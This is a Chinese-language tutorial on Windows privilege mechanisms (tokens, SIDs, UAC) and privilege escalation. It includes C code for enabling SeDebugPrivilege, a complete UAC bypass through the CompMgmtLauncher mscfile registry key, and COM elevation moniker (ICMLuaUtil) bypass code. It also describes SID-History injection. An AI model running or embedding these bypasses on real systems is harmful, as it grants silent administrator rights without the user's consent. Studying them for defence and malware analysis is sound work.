权限提升 bypass

账户权限与特权

用户的权限可以通过本地安全策略(LSA,LocalSecurity Authority)进行查看,本地安全策略的位置——C:\Windows\System32\secpol.msc:
权限提升 bypass_第1张图片
根据使用的场景,这些权限可以被分为两类:账户权限和特权。

账户权限
账户权限(accountright)是把“执行某一特定登录类型的能力”授权或拒绝给账户。
当一个用户以交互方式登录到一台机器上时,Winlogon调用LogonUser。LogonUser函数中有一个参数指明了要执行的登录的类型:交互式登陆、网络登陆、批方式登录、服务方式登录、终端服务器客户。
在本地安全策略中账户权限都包含包含“logon(登录)”字符。
权限提升 bypass_第2张图片
上表列出了Windows定义的账号权限,通过LSAAddAccountRights、LSARemoveAccountRights、LsaEnumerateAccountRights函数可以增删查询权限(包括特权)。

特权
特权(privilege)是指一个账户执行某个与系统相关的操作的权限。
账户权限在登录请求响应时由LSA强制使用,而特权是由不同的组件定义的,由这些组件强制使用。
常见的一些特权有:
SeAssignPrimaryTokenPrivilege 替换进程级令牌
SeBackupPrivilege 备份文件和目录
SeDebugPrivilege 调试程序
SeIncreaseQuotaPrivilege 调整进程的内存配额
SeTcbPrivilege 作为操作系统的一部分来执行
在用户模式下,调用PrivilegeCheck或LsaEnumerateAccountRights查看一个令牌是否有特权;在内核模式下,使用SeSinglePrivilegeCheck或SePrivilegeCheck查看。

账户权限包括允许权限和拒绝权限两类,但特权只有一种,但是可以被启用或禁用。

无论是账户权限还是特权,都是用户拥有的。不过账户权限是用户在登录过程中发挥作用,在登录过程中,LSA根据LSA策略数据库中用户的账号权限决定用户是否能够登录;而特权是用户的进程在执行中发挥作用,进程需要特权才能执行某些操作。

访问令牌
进程是如何判断自己属于哪个账户,又是如何判断是否具有执行某操作的特权?这就要引入访问令牌(accesstoken)的概念了。
当用户登录后,系统此时会为用户生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的拷贝。访问令牌是用来描述进程或线程安全上下文的对象。安全上下文中包含的信息是描述了与该进程或线程相关联的账户、组和特权,也包含了会话ID、安全标识符(SID)、完整性级别和UAC虚拟化状态之类的信息。

令牌的大小是不固定的,不同的用户账户有不同的特权集合和它们关联的组用户集合。令牌中比较重要的信息如下图所示:
权限提升 bypass_第3张图片
令牌中SID和特权都能决定程序是否能够执行某种操作。首先是SID,令牌中的SID说明了进程属于哪个用户,也说明了这个用户的账号是哪些组的成员。当程序执行用户请求的一些操作时,它可以禁止某些特定的组,属于该组的用户都无法执行该操作。另一方面,执行某些操作需要特定的权限,没有该特权就无法执行该操作。

访问令牌分为两种:主令牌和模拟令牌。

每一个进程都具有一个唯一的主令牌。在默认的情况下,当线程被开启的时候,进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟。

安全标识符SID
安全标识符(SecurityIdentifiers,SID),是标识用户、组和计算机帐户的唯一标识符。Windows系统(进程)是通过SID识别用户或组的,而不是通过用户名或组名。

每个账户在创建时,就会被分配唯一的SID,可以通过whoami/user 查看当前用户的SID:
权限提升 bypass_第4张图片
SID是一个可变长度,包含三部分:SID结构版本号,48位标识符机构值,以及可变的32位子机构值或相对标识符(RID,relativeidentifier)。

上图所示的SID字符串,“S”是SID前缀,接下来每个部分用“-”来分隔。在这个SID中,版本号是1。标识符机构(IA)值是5,表示颁发机构是NT机关。再接下来四个值是子机构(SA)值,21表明SID由一个域控制器或者一台单机颁发,随后的一长串数字(2652472356-2509895215-1776492106)就是颁发SID的那个域或机器的SA。最后的1001是RID,每个用户都不一样,RID是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)。

指派给用户、计算机和组的RID从1000开始,500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到BuiltinSID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户。用户账户和组的RID是从1000开始的,每个新的用户或组,RID都会向上递增。例如上图中RID是1001,表示这是该域中发放的第二个用户或组。

UAC
在window中有些用户所在的组具有较大的权限,eg:内置的管理员(Build-InAdministrator)、域管理员(DomainAdministrator)等;有些用户拥有的特权的权力较大,eg:SeDebugPrivilege。
如果为这样的用户的令牌分配这些权力很大的账户权限或特权,就会产生巨大的安全隐患。所以,微软就想办法为这样的用户分配权力不是那么大的令牌——受限的访问令牌,于是便引入了用户账户控制(UAC,UserAccount Control)机制。
如果UAC禁用了,那么管理员运行时使用的令牌就会包含管理员组的成员和特权。
如果UAC启用了,当用户登录管理员账户时,系统就会创建两个令牌,已过滤的管理员令牌(受限的访问令牌,移除了绝大部分特权;)和一个普通的管理员令牌。在管理员用户会话中创建进程时,通常使用的都是已过滤的管理员令牌。如果该进程需要完整的管理员权限,那么就会弹出UAC提示框,让用户选择执行一次UAC权限提升。

使用UAC的另一个好处是可以实现文件和注册表的虚拟化,又被称为UAC虚拟化。标准用户应用程序写入受保护的系统资源位置(文件或注册表),这些应用程序将通过虚拟化被重新定向至用户各自的位置,因此UAC虚拟化也被称为重定向。举个例子,一个标准用户应用程序开启了UAC虚拟化,假设这个程序创建了C:\Windows\123.txt文件,在标准用户应用程序看来他创建的文件绝对路径就是C:\Windows\123.txt(尽管标准用户没有C:\Windows\文件夹下的写权限);如果这个时候,你禁用UAC虚拟化或者提升UAC权限,那么你就会发现,它创建的文件的真实位置是%LOCALAPPDATA%\VirtualStore\Windows\123.txt。64位程序、非交互程序(服务)、具有管理员权限的进程都不启用UAC虚拟化。

访问令牌权限提升

访问令牌决定了进程能执行的权限,要提升进程的权限,就是要提升访问令牌的权限。
AdjustTokenPrivileges
最常用的提权方式是使用AdjustTokenPrivileges提权。

AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:
最常用的提权方式是使用AdjustTokenPrivileges提权。

AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:

BOOL AdjustTokenPrivileges(
  _In_ HANDLE TokenHandle, //令牌的句柄,包含要修改的权限
  _In_  BOOL DisableAllPrivileges,//禁用所有权限标志
  _In_opt_  PTOKEN_PRIVILEGES NewState,//指向TOKEN_PRIVILEGES结构,表示新的特权
  _In_ DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
  _Out_opt_ PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
  _Out_opt_ PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
//函数成功,返回非零值

新的特权被存放在TOKEN_PRIVILEGES结构中,分析TOKEN_PRIVILEGES结构:

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
typedef struct _LUID_AND_ATTRIBUTES {
  LUID  Luid;
  DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

可以看到,AdjustTokenPrivileges在启用特权时,不是直接使用特权名称,而是使用的是LUID,这个LUID相当于特权的身份标号。

而将特权名称转换为LUID使用的API是LookupPrivilegeValue,LookupPrivilegeValue能够获取指定特权名称的LUID值,其函数原型:

BOOL LookupPrivilegeValue(
  _In_opt_ LPCTSTR lpSystemName, //表示要获取特权值的系统名称,本地系统直接用NULL
  _In_ LPCTSTR lpName, //特权名称,winnt.h中定义
  _Out_ PLUID lpLuid
);

使用AdjustTokenPrivileges提权的核心代码:

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
  {
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //获取特权LUID
    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
    {
      //提权
      AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    }
    CloseHandle(hToken);
  }

RtlAdjustPrivilege
另一种提权方式是使用ntdll中的RtlAdjustPrivilege。RtlAdjustPrivilege是一个未公开的API,但是大佬们已经分析出它的函数原型了:

NTSTATUS RtlAdjustPrivilege
(
  _In_ ULONG Privilege, // 所需要的权限名称,
  _In_ BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
  _In_ BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
  _Out_ PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
)

该函数底层实现和AdjustTokenPrivileges的方式类似,可以参考本文(超链接:https://bbs.pediy.com/thread-76552.htm)。

因为该函数已经将获取进程令牌和获取LUID的过程封装好了,我们只需要直接调用该函数就可以实现提权了,核心代码:

HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
if (!hNtDll)
return;
fRtlAdjustPrivilege funcAdjustPrivilege =
(fRtlAdjustPrivilege)GetProcAddress(hNtDll, "RtlAdjustPrivilege");
if (funcAdjustPrivilege){
  BOOLEAN oldStatus;
  funcAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &oldStatus);}

添加特权——LsaAddAccountRights
前面介绍的AdjustTokenPrivileges和RtlAdjustPrivilege都是通过启用/禁用的方式设置特权,他们设置的特权都是令牌中已有的特权,如果令牌中没有该特权,我们就需要先向令牌中添加特权。

向令牌中添加特权,需要使用LsaOpenPolicy和LsaAddAccountRights这个API。但这两个API操作需要Administrator权限,所以恶意代码几乎不可能先添加特权再提权,但这不妨碍我们学习添加特权的技术。

添加特权的方式很简单,首先调用LsaOpenPolicy建立与LSA的通信,得到Policy对象,然后调用LsaAddAccountRights添加特权。这两个API的函数原型:

NTSTATUS LsaOpenPolicy(
_In_   PLSA_UNICODE_STRING SystemName,
_In_   PLSA_OBJECT_ATTRIBUTES ObjectAttributes,//为0即可
_In_   ACCESS_MASK DesiredAccess,//这里需要GENERIC_READ|GENERIC_WRITE|GENERIC_ALL GENERIC_EXECUTE
_InOut_ PLSA_HANDLE PolicyHandle
);
typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
NTSTATUS LsaAddAccountRights(
  _In_  LSA_HANDLE PolicyHandle,
  _In_  PSID AccountSid,
  _In_  PLSA_UNICODE_STRING UserRights,//特权名称
  _In_  ULONG CountOfRights
);

绕过用户账户控制(bypassUAC)

UAC需要授权的动作包括:配置WindowsUpdate、增加或删除用户账户、改变用户的账户类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到ProgramFiles或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
恶意代码想要获得更高的权限,就绕不过UAC机制,但是恶意代码可以根据上述机制,想办法绕过UAC弹窗(bypassUAC),在用户不知情的情况下提升程序权限。根据上述机制,bypassUAC的主要方式就是利用白名单。
Bypass UAC的危害很大,不幸的是,微软认为bypassUAC中的很多方式并不是一个漏洞,而是“原本就是这样设计的”,所以微软并不会给bypassUAC一个CVE,然后,微软就在之后版本中偷偷修复这个bypassUAC。

BypassUAC的方式很多,新的绕过方式层出不穷,微软也一直在修复这些绕过点。本文介绍的几种bypassUAC的方式在某些系统中可能已经无法使用,但不妨碍我们从中学习绕过思路。关于最新的bypass的方式,可以持续关注这里(超链接:https://github.com/hfiref0x/UACME)。

白名单程序 Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项”Software\classes\mscfile\shell\open\command”(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。
权限提升 bypass_第5张图片
实现代码:

#include	
#include	

BOOL	SetReg(char *);

int main()
{
	char *path = "c:\\windows\\system32\\cmd.exe";
	SetReg(path);
}
BOOL	SetReg(char *lpszExePath)
{
	HKEY hKey =	NULL;
	RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (NULL == hKey)
    {
        return FALSE;
    }
    RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath)));
    
    RegCloseKey(hKey);
    return TRUE;
}

运行后再运行计算机管理就是管理员的CMD。推荐在虚拟机运行。

利用com elevationmoniker
利用comelevation moniker技术,可以提升COM接口的权限,而不触发UAC弹窗。

能够利用comelevation moniker技术的COM接口必须具有如下特点:

1.该COM组件注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以

2.注册表HKEY_LOCAL_MACHINE\Software\Classes\CLSID下需要指定三项键值:

{CLSID}/LocalizedString(REG_EXPAND_SZ):displayName

{CLSID}/Elevation/IconReference(REG_EXPAND_SZ):applicationIcon

{CLSID}/Elevation,Enabled(REG_DWORD):1

在Windows7(7600)中ICMLuaUtil接口就满足了这一要求,而且ICMLuaUtil接口提供了ShellExec函数来创建进程。攻击者可以利用comelevation moniker技术提升ICMLuaUtil接口的权限,提权后调用ShellExec创建指定的进程,绕过UAC。

利用comelevation moniker提升COM接口权限的核心代码:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){
  BIND_OPTS3 bo;
  WCHAR wszCLSID[MAX_PATH] = { 0 };
  WCHAR wszMonikerName[MAX_PATH] = { 0 };
  HRESULT hr = 0;
  // 初始化COM环境
  ::CoInitialize(NULL);
  // 构造字符串
  ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
  hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
//也可以使用Elevation:Highest!new:{guid} 语句
  if (FAILED(hr))
  {return hr;}
  // 设置BIND_OPTS3
  ::RtlZeroMemory(&bo, sizeof(bo));
  bo.cbStruct = sizeof(bo);
  bo.hwnd = hWnd;
  bo.dwClassContext = CLSCTX_LOCAL_SERVER;
  // 创建名称对象并获取COM对象
  hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
  return hr;}

提升COM权限之后,就可以执行ShellExec创建高权限进程


// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);

SID-History注入

每个账户都有自己的SID,除此之外,部分账户还存在一个SID-History属性。SID-History是为了支持域迁移功能的,确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。将用户从DomainA移动到DomainB时,将在DomainB中创建新的用户帐户,这会产生新的SID,为了保留原有的访问权限(对DomainA的访问权限),DomainA用户的SID也不能丢弃,而是将其添加到DomainB的用户帐户SID-History属性中。当迁移后的账户登录时,与该账户相关联的所有SID(包括SID-History中的SID)都将被添加到访问令牌中。

SID-History在同一个域中的作用与SID在跨越多个域的同一个林中的是相同的,这意味着DomainA中的常规用户帐户窃取DomainA中特权帐户或组的SID,然后加入自己的SID-History,这样就可以授予常规用户帐户域管理员权限,而不需要成为域管理员组的成员。

Mimikatz已经完全支持该技术了,关于该技术的具体实践,可以参考本文(超链接:https://www.4hou.com/penetration/5476.html)。

calcs/icalcs权限设置

前面介绍的都是对权限的提升,让恶意代码执行更高权限的行为,除此之外,许多恶意代码还会通过权限设置,增加分析人员分析难度。
权限提升 bypass_第6张图片
如图所示,挖矿木马(md5:2b01c2b77a0f14f2b87eba4da423262bfe026828)使用cacls工具,将C:\ProgramData\Smart文件夹设置为system权限可访问,而administrators权限拒绝访问。

在分析工程中,为了打开C:\ProgramData\Smart文件夹,对其进行分析,我们需要先修改C:\ProgramData\Smart文件夹的权限,可以通过下列命令将该文件夹设置为所有用户可以访问:

cacls C:\ProgramData\Smart/e /t /g everyone:f/d system

cacls.exe是微软提供的操作文件ACL的工具,其用法如图所示:
权限提升 bypass_第7张图片
在Windows7及之后版本的系统中,推荐使用icacls。

wannacry就是使用使用attrib+h隐藏其某些文件,并使用icacls设置访问权限:
权限提升 bypass_第8张图片

你可能感兴趣的:(安全)